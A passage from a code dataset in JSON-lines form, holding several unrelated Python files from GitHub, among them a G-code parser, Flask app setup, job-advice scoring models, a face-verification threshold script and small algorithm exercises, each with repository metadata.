self.moveTo(slot.tracing_length())\n","repo_name":"Vlaser-es/creador-de-cajas","sub_path":"boxes/generators/dividertray.py","file_name":"dividertray.py","file_ext":"py","file_size_in_byte":17332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10060483831","text":"# Author: kk.Fang(fkfkbill@gmail.com)\n\n__all__ = [\n \"role_of_user\",\n \"privilege_towards_user\"\n]\n\nfrom typing import Union, List, Dict, Tuple, Set\nfrom collections import defaultdict\n\nfrom models.sqlalchemy import *\nfrom auth.user import *\nfrom .const import PRIVILEGE\n\n\ndef role_of_user(login_user: Union[str, List, Tuple]) -> Dict[str, Set[int]]:\n \"\"\"\n 获取某个用户,或者某一批用户所绑定的角色id\n :param login_user:\n :return: {login_user: {role_id, ...}, ...}\n \"\"\"\n if isinstance(login_user, str):\n login_user = [login_user]\n ret = defaultdict(set)\n with make_session() as session:\n user_role_q = session.query(UserRole.login_user, UserRole.role_id). \\\n filter(UserRole.login_user.in_(login_user))\n for u, r_id in user_role_q:\n ret[u].add(r_id)\n return dict(ret)\n\n\ndef privilege_towards_user(login_user) -> [tuple]:\n \"\"\"获取用户所拥有的全部权限\"\"\"\n with make_session() as session:\n privilege_ids = [\n i[0]\n for i in session.query(RolePrivilege.privilege_id).\n join(UserRole, RolePrivilege.role_id == UserRole.role_id).\n filter(UserRole.login_user == login_user)\n ]\n return [\n PRIVILEGE.get_privilege_by_id(i)\n for i in privilege_ids\n if PRIVILEGE.get_privilege_by_id(i)\n ]\n\n\n\n","repo_name":"kk71/sqlaudit","sub_path":"auth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25204032592","text":"import math\nimport sys\nimport time\n\nfrom typing import List\nfrom typing import Tuple\n\nfrom PySide6.QtCore import qIsNaN\n\nsNaN = float('NaN')\n\n\nclass GcodeMiniParser:\n '''\n Basic parser **only** for pycut generated gcode...\n '''\n def __init__(self):\n '''\n '''\n self.gcode = \"\"\n\n self.char_no = 0 # index of the character in the whole gcode text\n self.line_no = 0 # related line no in the whole gcode text\n\n self.path : List[Tuple[float, float, float, float]] = []\n self.path_time_map : List[float] = [] # idx -> time\n\n self.path_time = None\n\n # helpers\n self.path_idx_line_no = {} # map path \"index\" -> gcode line no\n self.line_no_time_map = {} # map gcode line no -> sim time\n\n def reset(self):\n '''\n '''\n self.char_no = 0\n self.line_no = 0 \n\n self.path = []\n self.path_time = None\n\n self.path_idx_line_no = {}\n self.line_no_time_map = {}\n\n self.path_time_map = []\n\n def get_path(self) -> List[Tuple[float, float, float, float]] :\n return self.path\n \n def get_path_time(self) -> float:\n if self.path_time == None:\n self.eval_path_time()\n return self.path_time\n \n def parse_gcode(self, gcode: str):\n '''\n '''\n self.reset()\n self.gcode = gcode\n\n lastX = sNaN\n lastY = sNaN\n lastZ = sNaN\n lastF = sNaN\n\n def parse() -> float:\n self.char_no += 1\n while self.char_no < len(self.gcode) and (self.gcode[self.char_no] == ' ' or self.gcode[self.char_no] == '\\t'):\n self.char_no += 1\n begin = self.char_no\n while (self.char_no < len(self.gcode) and self.gcode[self.char_no] in \"+-.0123456789\"):\n self.char_no += 1\n try:\n end = self.char_no\n return float(self.gcode[begin:end])\n except Exception:\n return None\n\n self.char_no = 0\n self.line_no = 0 \n\n while self.char_no < len(self.gcode) :\n\n g = sNaN\n x = sNaN\n y = sNaN\n z = sNaN\n f = sNaN\n\n while self.char_no < len(self.gcode) and self.gcode[self.char_no] != '' and self.gcode[self.char_no] != '\\r' and self.gcode[self.char_no] != '\\n':\n letter = self.gcode[self.char_no]\n if letter == 'G' or letter == 'g':\n g = parse()\n elif letter == 'X' or letter == 'x':\n x = parse()\n elif letter == 'Y' or letter == 'y':\n y = parse()\n elif letter == 'Z' or letter == 'z':\n z = parse()\n elif letter == 'F' or letter == 'f':\n f = parse()\n else:\n self.char_no += 1\n\n if g == 0 or g == 1:\n if not qIsNaN(x):\n if qIsNaN(lastX):\n for j in range(len(self.path)):\n self.path[j][0] = x\n lastX = x\n\n if not qIsNaN(y):\n if qIsNaN(lastY):\n for j in range(len(self.path)):\n self.path[j][1] = y\n lastY = y\n\n if not qIsNaN(z):\n if qIsNaN(lastZ):\n for j in range(len(self.path)):\n self.path[j][2] = z\n lastZ = z\n\n if not qIsNaN(f):\n if qIsNaN(lastF):\n for j in range(len(self.path)):\n self.path[j][3] = f\n lastF = f\n\n self.path.append([lastX, lastY, lastZ, lastF])\n self.path_idx_line_no[len(self.path)-1] = self.line_no\n\n while self.char_no < len(self.gcode) and self.gcode[self.char_no] != '\\r' and self.gcode[self.char_no] != '\\n':\n self.char_no += 1\n while self.char_no < len(self.gcode) and (self.gcode[self.char_no] == '\\r' or self.gcode[self.char_no] == '\\n'):\n if self.gcode[self.char_no] == '\\n':\n self.line_no += 1 \n self.char_no += 1\n\n # last thing\n self.eval_path_time()\n\n def eval_path_time(self):\n '''\n '''\n self.path_time_map = []\n self.line_no_time_map = {}\n\n total_time = 0.0\n\n for idx, point in enumerate(self.path):\n prevIdx = max(idx - 1, 0)\n prevPoint = self.path[prevIdx]\n \n x = point[0]\n y = point[1]\n z = point[2]\n f = point[3]\n \n prevX = prevPoint[0]\n prevY = prevPoint[1]\n prevZ = prevPoint[2]\n #prevF = prevPoint[3]\n \n dx = x - prevX\n dy = y - prevY\n dz = z - prevZ\n\n dist = math.sqrt(dx * dx + dy * dy + dz * dz)\n \n total_time = total_time + dist / f * 60\n\n # ------------------------------------------\n # fill self.line_no_time_map\n # ------------------------------------------\n if idx in self.path_idx_line_no:\n line_no = self.path_idx_line_no[idx]\n else:\n idx0 = idx\n while True:\n idx0 = idx0 - 1\n if idx0 in self.path_idx_line_no:\n line_no = self.path_idx_line_no[idx0]\n break\n # ------------------------------------------\n self.line_no_time_map[line_no] = total_time\n # ------------------------------------------\n self.path_time_map.append(total_time)\n # ------------------------------------------\n\n self.path_time = total_time\n\n def get_path_idx_for_time(self, atime: float) -> int:\n if atime == 0:\n return 0\n\n begin = 0\n end = len(self.path_time_map)\n \n while begin < end:\n i = math.floor((begin + end) / 2)\n if self.path_time_map[i] < atime:\n begin = i + 1\n else:\n end = i\n \n return end\n\n\nif __name__ == '__main__':\n gcodefile = sys.argv[1]\n \n fp = open(gcodefile, \"r\")\n gcode = fp.read()\n fp.close()\n\n t1 = time.time()\n parser = GcodeMiniParser()\n parser.parse_gcode(gcode)\n t2 = time.time()\n\n print(\"gcode time: \", parser.path_time)\n print(\"parser time:\", t2-t1)\n","repo_name":"xmarduel/pycut","sub_path":"gcodesimulator_webgl/gcodeminiparser.py","file_name":"gcodeminiparser.py","file_ext":"py","file_size_in_byte":6640,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"20894582566","text":"import math\r\n\r\ndef calculate(x, y) :\r\n result = x ** 2 + y ** 2\r\n return result\r\n\r\ndef solution(m, n, startX, startY, balls):\r\n answer = []\r\n \r\n for ball in balls :\r\n diffX = abs(startX - ball[0])\r\n diffY = abs(startY - ball[1])\r\n \r\n curAns = -1\r\n if diffX == 0 : # \r\n if startY > ball[1] : #can't use bottom\r\n curAns = min(calculate(2 * startX, diffY), \r\n calculate(2 * (m - startX), diffY),\r\n calculate(diffX, (2 * n - startY) - ball[1]))\r\n else : #can't use top\r\n curAns = min(calculate(2 * startX, diffY),\r\n calculate(2 * (m - startX), diffY),\r\n calculate(diffX, startY + ball[1]))\r\n elif diffY == 0 :\r\n if startX > ball[0] : #can't use left\r\n curAns = min(calculate(diffX, 2 * startY), \r\n calculate(diffX, 2 * (n - startY)),\r\n calculate((2 * m - startX) - ball[0], diffY))\r\n else : #can't use right\r\n curAns = min(calculate(diffX, 2 * startY),\r\n calculate(diffX, 2 * (n - startY)),\r\n calculate(startX + ball[0], diffY))\r\n else :\r\n curAns = min(calculate(startX + ball[0], diffY), #left\r\n calculate((2 * m - startX) - ball[0], diffY), #right\r\n calculate(diffX, startY + ball[1]), #bottom\r\n calculate(diffX, (2 * n - startY) - ball[1])) #top\r\n answer.append(curAns)\r\n return answer","repo_name":"SyuA0529/Algorithm-Study","sub_path":"Programers/LV 2/당구 연습.py","file_name":"당구 연습.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70390477068","text":"\"\"\"rcontrib command.\"\"\"\nfrom .options.rcontrib import RcontribOptions\nfrom .rtrace import Rtrace\n\n\nclass Rcontrib(Rtrace):\n \"\"\"rcontrib command.\n\n Rcontrib computes ray coefficients for objects whose modifiers are named in one or\n more -m settings. These modifiers are usually materials associated with light sources\n or sky domes, and must directly modify some geometric primitives to be considered in\n the output. A modifier list may also be read from a file using the -M option. The\n RAYPATH environment variable determines directories to search for this file. (No\n search takes place if a file name begins with a '.', '/' or '~' character.).\n\n Args:\n options: Command options. It will be set to Radiance default values\n if unspecified.\n output: Output file (Default: None).\n octree: Octree file (Default: None).\n sensors: Sensors file (Default: None).\n\n Properties:\n * options\n * output\n * octree\n * sensors\n\n Note:\n https://www.radiance-online.org/learning/documentation/manual-pages/pdfs/rcontrib.pdf\n \"\"\"\n\n __slots__ = ()\n\n @property\n def options(self):\n \"\"\"Rcontrib options.\"\"\"\n return self._options\n\n @options.setter\n def options(self, value):\n if value is None:\n value = RcontribOptions()\n\n if not isinstance(value, RcontribOptions):\n raise ValueError('Expected RcontribOptions not {}'.format(type(value)))\n\n self._options = value\n","repo_name":"ladybug-tools/honeybee-radiance-command","sub_path":"honeybee_radiance_command/rcontrib.py","file_name":"rcontrib.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33954613265","text":"\"\"\"Module to advise the user with small tips for their job applications.\"\"\"\n\nimport itertools\nimport random\nimport typing\n\nfrom bob_emploi.frontend.server import scoring_base\nfrom bob_emploi.frontend.api import application_pb2\nfrom bob_emploi.frontend.api import job_pb2\nfrom bob_emploi.frontend.api import project_pb2\n\n\ndef _get_handcrafted_job_requirements(project: scoring_base.ScoringProject) \\\n -> typing.Optional[job_pb2.JobRequirements]:\n \"\"\"Handcrafted job requirements for the target job.\"\"\"\n\n handcrafted_requirements = job_pb2.JobRequirements()\n all_requirements = project.job_group_info().requirements\n handcrafted_fields = [\n field for field in job_pb2.JobRequirements.DESCRIPTOR.fields_by_name.keys()\n if field.endswith('_short_text')]\n has_requirements = False\n for field in handcrafted_fields:\n field_requirements = getattr(all_requirements, field)\n if field_requirements:\n has_requirements = True\n setattr(handcrafted_requirements, field, field_requirements)\n if not has_requirements:\n return None\n return handcrafted_requirements\n\n\ndef _get_expanded_card_data_for_resume(project: scoring_base.ScoringProject) \\\n -> application_pb2.ResumeTips:\n resume_tips = project.list_application_tips()\n sorted_tips = sorted(resume_tips, key=lambda t: (-len(t.filters), random.random()))\n tips_proto = application_pb2.ResumeTips(\n qualities=[t for t in sorted_tips if t.type == application_pb2.QUALITY],\n improvements=[t for t in sorted_tips if t.type == application_pb2.CV_IMPROVEMENT])\n for tip in itertools.chain(tips_proto.qualities, tips_proto.improvements):\n tip.ClearField('type')\n return tips_proto\n\n\ndef _max_monthly_interviews(project: scoring_base.ScoringProject) -> int:\n \"\"\"Maximum number of monthly interviews one should have.\"\"\"\n\n if project.job_group_info().application_complexity == job_pb2.COMPLEX_APPLICATION_PROCESS:\n return 5\n return 3\n\n\nclass _AdviceFreshResume(scoring_base.ModelBase):\n \"\"\"A scoring model to trigger the \"To start, prepare your resume\" advice.\"\"\"\n\n def score_and_explain(self, project: scoring_base.ScoringProject) \\\n -> scoring_base.ExplainedScore:\n \"\"\"Compute a score for the given ScoringProject.\"\"\"\n\n if project.details.weekly_applications_estimate <= project_pb2.LESS_THAN_2 or \\\n project.details.job_search_length_months < 2:\n return scoring_base.ExplainedScore(3, [project.translate_string(\n 'vous nous avez dit que vous en êtes au début de '\n 'vos candidatures')])\n return scoring_base.NULL_EXPLAINED_SCORE\n\n def get_expanded_card_data(self, project: scoring_base.ScoringProject) \\\n -> application_pb2.ResumeTips:\n \"\"\"Retrieve data for the expanded card.\"\"\"\n\n return _get_expanded_card_data_for_resume(project)\n\n\nclass _AdviceImproveResume(scoring_base.ModelBase):\n \"\"\"A scoring model to trigger the \"Improve your resume to get more interviews\" advice.\"\"\"\n\n _APPLICATION_PER_WEEK = {\n project_pb2.LESS_THAN_2: 0,\n project_pb2.SOME: 2,\n project_pb2.DECENT_AMOUNT: 6,\n project_pb2.A_LOT: 15,\n }\n\n _NUM_INTERVIEWS = {\n project_pb2.LESS_THAN_2: 0,\n project_pb2.SOME: 1,\n project_pb2.DECENT_AMOUNT: 5,\n project_pb2.A_LOT: 10,\n }\n\n def _num_interviews(self, project: scoring_base.ScoringProject) -> int:\n if project.details.total_interview_count < 0:\n return 0\n if project.details.total_interview_count:\n return project.details.total_interview_count\n return self._NUM_INTERVIEWS.get(project.details.total_interviews_estimate, 0)\n\n def _num_interviews_increase(self, project: scoring_base.ScoringProject) -> float:\n \"\"\"Compute the increase (in ratio) of # of interviews that one could hope for.\"\"\"\n\n if project.details.total_interviews_estimate >= project_pb2.A_LOT or \\\n project.details.total_interview_count > 20:\n return 0\n\n job_search_length_weeks = project.details.job_search_length_months * 52 / 12\n num_applicants_per_offer = project.market_stress() or 2.85\n weekly_applications = self._APPLICATION_PER_WEEK.get(\n project.details.weekly_applications_estimate, 0)\n num_applications = job_search_length_weeks * weekly_applications\n num_potential_interviews = num_applications / num_applicants_per_offer\n return num_potential_interviews / (self._num_interviews(project) or 1)\n\n def score_and_explain(self, project: scoring_base.ScoringProject) \\\n -> scoring_base.ExplainedScore:\n \"\"\"Compute a score for the given ScoringProject.\"\"\"\n\n if (self._num_interviews_increase(project) >= 2 and\n project.details.job_search_length_months <= 6):\n return scoring_base.ExplainedScore(3, [project.translate_string(\n \"nous pensons qu'avec votre profil vous pourriez \"\n \"décrocher plus d'entretiens\")])\n return scoring_base.NULL_EXPLAINED_SCORE\n\n def get_expanded_card_data(self, project: scoring_base.ScoringProject) \\\n -> application_pb2.ResumeTips:\n \"\"\"Retrieve data for the expanded card.\"\"\"\n\n return _get_expanded_card_data_for_resume(project)\n\n\nclass _AdviceImproveInterview(scoring_base.ModelBase):\n \"\"\"A scoring model to trigger the \"Improve your interview skills\" advice.\"\"\"\n\n _NUM_INTERVIEWS = {\n project_pb2.LESS_THAN_2: 0,\n project_pb2.SOME: 1,\n project_pb2.DECENT_AMOUNT: 5,\n project_pb2.A_LOT: 10,\n }\n\n def score(self, project: scoring_base.ScoringProject) -> int:\n \"\"\"Compute a score for the given ScoringProject.\"\"\"\n\n if project.details.total_interview_count < 0:\n num_interviews = 0\n elif project.details.total_interview_count > 0:\n num_interviews = project.details.total_interview_count\n else:\n num_interviews = self._NUM_INTERVIEWS.get(project.details.total_interviews_estimate, 0)\n num_monthly_interviews = num_interviews / (project.details.job_search_length_months or 1)\n if num_monthly_interviews > _max_monthly_interviews(project):\n return 3\n # Whatever the number of month of search, trigger 3 if the user did more than 5 interviews:\n if num_interviews >= self._NUM_INTERVIEWS[project_pb2.A_LOT] and \\\n project.details.job_search_length_months <= 6:\n return 3\n return 0\n\n def _explain(self, project: scoring_base.ScoringProject) -> typing.List[str]:\n return [project.translate_string(\n \"vous nous avez dit avoir passé beaucoup d'entretiens sans succès\")]\n\n def get_expanded_card_data(self, project: scoring_base.ScoringProject) \\\n -> application_pb2.InterviewTips:\n \"\"\"Retrieve data for the expanded card.\"\"\"\n\n interview_tips = project.list_application_tips()\n sorted_tips = sorted(interview_tips, key=lambda t: (-len(t.filters), random.random()))\n tips_proto = application_pb2.InterviewTips(\n qualities=[t for t in sorted_tips if t.type == application_pb2.QUALITY],\n preparations=[\n t for t in sorted_tips\n if t.type == application_pb2.INTERVIEW_PREPARATION])\n for tip in itertools.chain(tips_proto.qualities, tips_proto.preparations):\n tip.ClearField('type')\n return tips_proto\n\n\nscoring_base.register_model('advice-fresh-resume', _AdviceFreshResume())\nscoring_base.register_model('advice-improve-interview', _AdviceImproveInterview())\nscoring_base.register_model('advice-improve-resume', _AdviceImproveResume())\n","repo_name":"Civic-Hackers-Lab/bob-emploi","sub_path":"frontend/server/modules/application_tips.py","file_name":"application_tips.py","file_ext":"py","file_size_in_byte":7792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"42360766342","text":"#encoding: utf-8\n\nfrom datetime import timedelta\nimport json\nimport traceback\nimport sys\n\nimport newrelic.agent\n\nfrom flask import request, Blueprint, Response\nfrom flask_cors import CORS\nimport pkg_resources\n\nfrom hollowman.hollowman_flask import HollowmanFlask\nfrom hollowman.conf import SECRET_KEY, CORS_WHITELIST, NEW_RELIC_LICENSE_KEY, NEW_RELIC_APP_NAME\nfrom hollowman.log import logger, dev_null_logger\nfrom hollowman.plugins import register_plugin\nfrom hollowman.auth.jwt import jwt_auth\nfrom hollowman.metrics.zk.routes import zk_metrics_blueprint\nfrom hollowman.api.account import account_blueprint\nfrom hollowman.api.tasks import tasks_blueprint\nfrom hollowman.plugins import load_all_metrics_plugins\n\n\nif NEW_RELIC_LICENSE_KEY and NEW_RELIC_APP_NAME:\n newrelic.agent.initialize()\n\napplication = HollowmanFlask(__name__)\napplication.url_map.strict_slashes = False\napplication.secret_key = SECRET_KEY\napplication.permanent_session_lifetime = timedelta(minutes=5)\napplication.config[\"JWT_AUTH_URL_RULE\"] = None\napplication.config[\"JWT_EXPIRATION_DELTA\"] = timedelta(days=7)\n\napplication.register_blueprint(zk_metrics_blueprint, url_prefix=\"/_cat/metrics/zk\")\napplication.register_blueprint(account_blueprint, url_prefix=\"/hollow/account\")\napplication.register_blueprint(tasks_blueprint, url_prefix=\"/tasks\")\n\nCORS(application, origins=CORS_WHITELIST)\njwt_auth.init_app(application)\n\n\ndef _get_current_exception_if_exists(current_request):\n try:\n return current_request.current_exception\n except Exception as e:\n return None\n\n@application.after_request\ndef after_request(response):\n logger.info(\n {\n \"method\": request.method,\n \"status_code\": response.status_code,\n \"path\": request.path,\n \"user\": (hasattr(request, \"user\") and request.user.tx_email) or None,\n \"account_id\": (hasattr(request, \"user\") and request.user.current_account.id) or None,\n \"location\": response.headers.get(\"Location\"),\n \"qstring\": request.args,\n \"error\": _get_current_exception_if_exists(request)\n }\n )\n return response\n\n@application.errorhandler(Exception)\ndef handler_500(error):\n current_exception = {\n \"message\": str(error),\n \"traceback\": traceback.format_exc(),\n \"type\": sys.exc_info()[0].__name__,\n }\n request.current_exception = current_exception\n\n return Response(\n response=json.dumps(current_exception),\n status=500\n )\n\nimport marathon\nmarathon.log = dev_null_logger\n\nimport hollowman.routes\nregister_plugin(\"example-plugin\")\nregister_plugin(\"session-checker-plugin\")\nload_all_metrics_plugins(application)\n","repo_name":"ramorim-xx/asgard-api","sub_path":"hollowman/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27228798193","text":"import sqlite3\n\ntry:\n conexion = sqlite3.connect(\"test_db.db\")\n with conexion:\n cursor = conexion.cursor()\n sentencia = 'UPDATE persona SET nombre=?, apellido=?, email=? WHERE id_persona=?'\n valores = (\n (\"Juan Carlos\", \"Roldan\", \"rcarlos@gmail.com\", 4), #modifica lo que haya en el id por estos datos que ponemos\n (\"Romina\", \"Ayala\", \"ayalar@gmail.com\", 5) #ídem pero modifica lo que haya en el id 5\n )\n cursor.executemany(sentencia, valores)\n registros_actualizados = cursor.rowcount\n print(f\"Se actualizaron los registros: {registros_actualizados}\")\n\nexcept Exception as e:\n print(f'Ha ocurrido un error: {e}')\nfinally:\n conexion.close()","repo_name":"CodeSystem2022/Uritorco_UTN_Tercer_Semestre_2023","sub_path":"Python/Tecnicatura3py/Leccion4sqlite/BD/actualizar_varios_reg.py","file_name":"actualizar_varios_reg.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"es","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"41598713721","text":"# Andy Thai\r\n# June 2017\r\nimport random\r\n\r\n\r\n# Class to hold player information and functions\r\nclass Player:\r\n # Constructor\r\n def __init__(self, p, m, w, prob_button_a, prob_button_b):\r\n self.player = p\r\n # mode:\r\n # 0: no weight\r\n # 1: unequal weighting\r\n # 2: equal weighting\r\n self.mode = m\r\n # How much weight to put on partner's actions\r\n self.weight = w\r\n self.prob_a = prob_button_a\r\n self.prob_b = prob_button_b\r\n self.score_a = 0\r\n self.score_b = 0\r\n self.score_total = 0\r\n self.times_picked_a = 0\r\n self.times_picked_b = 0\r\n self.history = [('A', True), ('B', True), ('A', False), ('B', False)]\r\n self.other_player = None\r\n\r\n # Calculate matching ratios\r\n def calc_matching(self):\r\n # Calculate ratios\r\n if self.mode == 0: # Only factors own actions\r\n a_ratio = (self.score_a + 1) / (self.times_picked_a + 2)\r\n b_ratio = (self.score_b + 1) / (self.times_picked_b + 2)\r\n elif self.mode == 1: # Factors partner's actions based on a weight\r\n ''' OTHER WEIGHTING\r\n a_ratio = (self.score_a + self.other_player.score_a * self.weight + 2) / \\\r\n (self.times_picked_a + self.other_player.times_picked_a * self.weight + 4)\r\n b_ratio = (self.score_b + self.other_player.score_b * self.weight + 2) / \\\r\n (self.times_picked_b + self.other_player.times_picked_b * self.weight + 4)\r\n '''\r\n a_ratio = (self.score_a * (1 - self.weight) + self.other_player.score_a * self.weight + 2) / \\\r\n (self.times_picked_a * (1 - self.weight) + self.other_player.times_picked_a * self.weight + 4)\r\n b_ratio = (self.score_b * (1 - self.weight) + self.other_player.score_b * self.weight + 2) / \\\r\n (self.times_picked_b * (1 - self.weight) + self.other_player.times_picked_b * self.weight + 4)\r\n elif self.mode == 2: # Factors partner's action jointly\r\n a_ratio = (self.score_a + self.other_player.score_a + 2) / \\\r\n (self.times_picked_a + self.other_player.times_picked_a + 4)\r\n b_ratio = (self.score_b + self.other_player.score_b + 2) / \\\r\n (self.times_picked_b + self.other_player.times_picked_b + 4)\r\n\r\n matching_a = a_ratio / (a_ratio + b_ratio)\r\n matching_b = b_ratio / (a_ratio + b_ratio)\r\n # Return normalized ratio for probabilistic choices\r\n return matching_a, matching_b\r\n\r\n # Player picks a button\r\n def pick_button(self, button):\r\n # Choose button A\r\n if button == 'A':\r\n self.times_picked_a = self.times_picked_a + 1\r\n if random.random() < self.prob_a:\r\n self.score_a = self.score_a + 1\r\n self.score_total = self.score_total + 1\r\n self.history.append(('A', True))\r\n else:\r\n self.history.append(('A', False))\r\n # Choose button B\r\n else:\r\n self.times_picked_b = self.times_picked_b + 1\r\n if random.random() < self.prob_b:\r\n self.score_b = self.score_b + 1\r\n self.score_total = self.score_total + 1\r\n self.history.append(('B', True))\r\n else:\r\n self.history.append(('B', False))\r\n return\r\n","repo_name":"andythai/matching-behavior-simulator","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"35645415460","text":"input = {}\n\ndef get_input(file_name):\n\n with open(f'../input/{file_name}.txt'.format(file_name, 'wb')) as f:\n # with open(\"input/day5_test_input.txt\") as f:\n # input = f.split(',')\n for line in f:\n l = line.strip()\n l = l.split(')')\n print(l)\n input[l[1]] = l[0]\n\n\n return input\n\ninput = get_input('day_6_input')\nprint(input)\ntotal = 0\nfor key in input:\n current = 1\n next = input[key]\n while next != 'COM':\n current += 1\n next = input[next]\n total += current\nprint(total)","repo_name":"killercatfish/AdventCode","sub_path":"2019/Day6/day_6_pt1.py","file_name":"day_6_pt1.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33237190188","text":"import numpy as np\nfrom feature.lfw_read_images import LfwReadImages\nimport feature.calculate_threshold as calculate_threshold\nfrom feature.mini_facenet_feature_extractor import MiniFacenetFeatureExtractor\nfrom feature.facenet_feature_extractor import FacenetFeatureExtractor\nfrom feature.hdf5_writer import Hdf5Writer\nimport h5py\nimport os\n\nroot_dir = \"D:/s5/dataset/\"\nlfw_path = root_dir + \"lfw_160/\"\npairs_train_path = root_dir + \"lfw_txt/pairsDevTrain.txt\"\npairs_vat_path = root_dir + \"lfw_txt/pairsDevTest.txt\"\npairs_test_path = root_dir + \"lfw_txt/pairs.txt\"\n\n#model_path = root_dir + \"lfw_txt/facenet/160_40_1_77_4.40.ckpt\"\n#feature_extractor = MiniFacenetFeatureExtractor(model_path)\nmodel_path = \"D:/s5/cv_python/facenet/models/20180402-114759/20180402-114759.pb\"\nfeature_extractor = FacenetFeatureExtractor(model_path)\n\nhdf5_dir = \"D:/s5/cv_python/es_face/feature/hdf5/\"\n\n\ndef extract_features(img_s1, img_s2, name=\"e_f\"):\n img_ts1, img_ts2 = [], []\n\n hdf5_file_path1 = os.path.join(hdf5_dir, \"lfw_{}_1.hdf5\".format(name))\n if os.path.exists(hdf5_file_path1):\n db_exist = h5py.File(hdf5_file_path1, \"r\")\n img_ts1 = np.copy(db_exist[\"imgs\"])\n db_exist.close()\n else:\n img_ts1 = feature_extractor.extract_features(img_s1, batch_size=16)\n\n hdf5_writer = Hdf5Writer(np.shape(img_ts1), hdf5_file_path1, dataKey=\"imgs\")\n hdf5_writer.add(img_ts1, np.zeros(len(img_s1)))\n hdf5_writer.close()\n\n hdf5_file_path2 = os.path.join(hdf5_dir, \"lfw_{}_2.hdf5\".format(name))\n if os.path.exists(hdf5_file_path2):\n db_exist = h5py.File(hdf5_file_path2, \"r\")\n img_ts2 = np.copy(db_exist[\"imgs\"])\n db_exist.close()\n else:\n img_ts2 = feature_extractor.extract_features(img_s2, batch_size=16)\n\n hdf5_writer = Hdf5Writer(np.shape(img_ts2), hdf5_file_path2, dataKey=\"imgs\")\n hdf5_writer.add(img_ts2, np.zeros(len(img_s2)))\n hdf5_writer.close()\n\n return img_ts1, img_ts2\n\n\ndef list_metrics(img_ts1, img_ts2, labels, name=\"e_f\"):\n ms = []\n gd = 0\n gd1 = 0\n gd2 = 0\n for i in range(len(labels)):\n img_t1 = img_ts1[i]\n img_t2 = img_ts2[i]\n d = metrics(img_t1, img_t2)\n ms.append(d)\n gd += d\n if labels[i] == 0:\n gd1 += d\n if labels[i] == 1:\n gd2 += d\n if i % 100 == 0:\n print(\"{}: {:03d}: d: {:.6f}\".format(name, i, gd / 100))\n gd = 0\n print(\"gd1: d: {:.6f}\".format(gd1))\n print(\"gd2: d: {:.6f}\".format(gd2))\n return ms\n\n\ndef metrics(x1, x2):\n d = np.sqrt(np.sum(np.square(np.subtract(x1, x2))))\n return d\n\n\nimg_s1_train, img_s2_train, labels_train = LfwReadImages.read_images(lfw_path, pairs_train_path)\ntrain_size = len(labels_train)\nprint(\"train_size: {}\".format(train_size))\n\nimg_s1_vat, img_s2_vat, labels_vat = LfwReadImages.read_images(lfw_path, pairs_vat_path)\nvat_size = len(labels_vat)\nprint(\"vat_size: {}\".format(vat_size))\n\nimg_s1_test, img_s2_test, labels_test = LfwReadImages.read_images(lfw_path, pairs_test_path)\ntest_size = len(labels_test)\nprint(\"test_size: {}\".format(test_size))\n\nname_train = \"train\"\nname_vat = \"vat\"\nname_test = \"test\"\n\nimg_ts1_train, img_ts2_train = extract_features(img_s1_train, img_s2_train, name_train)\nimg_ts1_vat, img_ts2_vat = extract_features(img_s1_vat, img_s2_vat, name_vat)\nimg_ts1_test, img_ts2_test = extract_features(img_s1_test, img_s2_test, name_test)\n\nds_train = list_metrics(img_ts1_train, img_ts2_train, labels_train, name_train)\nds_vat = list_metrics(img_ts1_vat, img_ts2_vat, labels_vat, name_vat)\nds_test = list_metrics(img_ts1_test, img_ts2_test, labels_test, name_test)\n\n# show accuracy\nmean1, mean2 = calculate_threshold.statistics_from_train(ds_train, labels_train)\nprint(\"{} - {}\".format(mean1, mean2))\nthreshold_best_vat, acc_max_vat, range = calculate_threshold.calculate_threshold_from_vat(\n ds_vat, labels_vat, mean1, mean2, num=100)\nprint(\"best_vat: {} - {}\".format(threshold_best_vat, acc_max_vat))\nthreshold_best, acc_max = calculate_threshold.show_from_test(\n ds_test, labels_test, threshold_best_vat, range, num=100)\nprint(\"best: {} - {}\".format(threshold_best, acc_max))\n","repo_name":"esfamely/es_face_server","sub_path":"feature/lfw_facenet.py","file_name":"lfw_facenet.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72265432269","text":"#https://www.hackerrank.com/challenges/flipping-the-matrix/problem\nimport copy\n\nq = int(input().strip())\nn = int(input().strip())\n\nmatrix = [[0 for x in range(2 * n)] for y in range(2 * n)] \n#print(matrix)\n\nfor i in range(2*n):\n line = [int(a_temp) for a_temp in input().strip().replace('\\t',' ').split(' ')] #split e convert em inteiro cada valor da linha \n #print(line)\n for j in range (2*n):\n #print('i: ' + str(i) + ' - j: ' + str(j) + ' - value: ' + str(line[j]))\n matrix[i][j] = line[j]\n\n#sum of quadrant\ndef sumQ(matrix, qDesire, prod=False):# x, x0, y, y0): \n \n if qDesire==1:\n x, x0, y, y0 = 0, n , 0, n\n elif qDesire==2:\n x, x0, y, y0 = 0,n, n, 2*n\n elif qDesire==3:\n x, x0, y, y0 = n, 2*n, 0, n\n else:\n x, x0, y, y0 = n, 2*n, n, 2*n\n \n totalQ = 0 \n prodQ = 1\n for i in range(x, x0):\n l = 0\n for j in range (y, 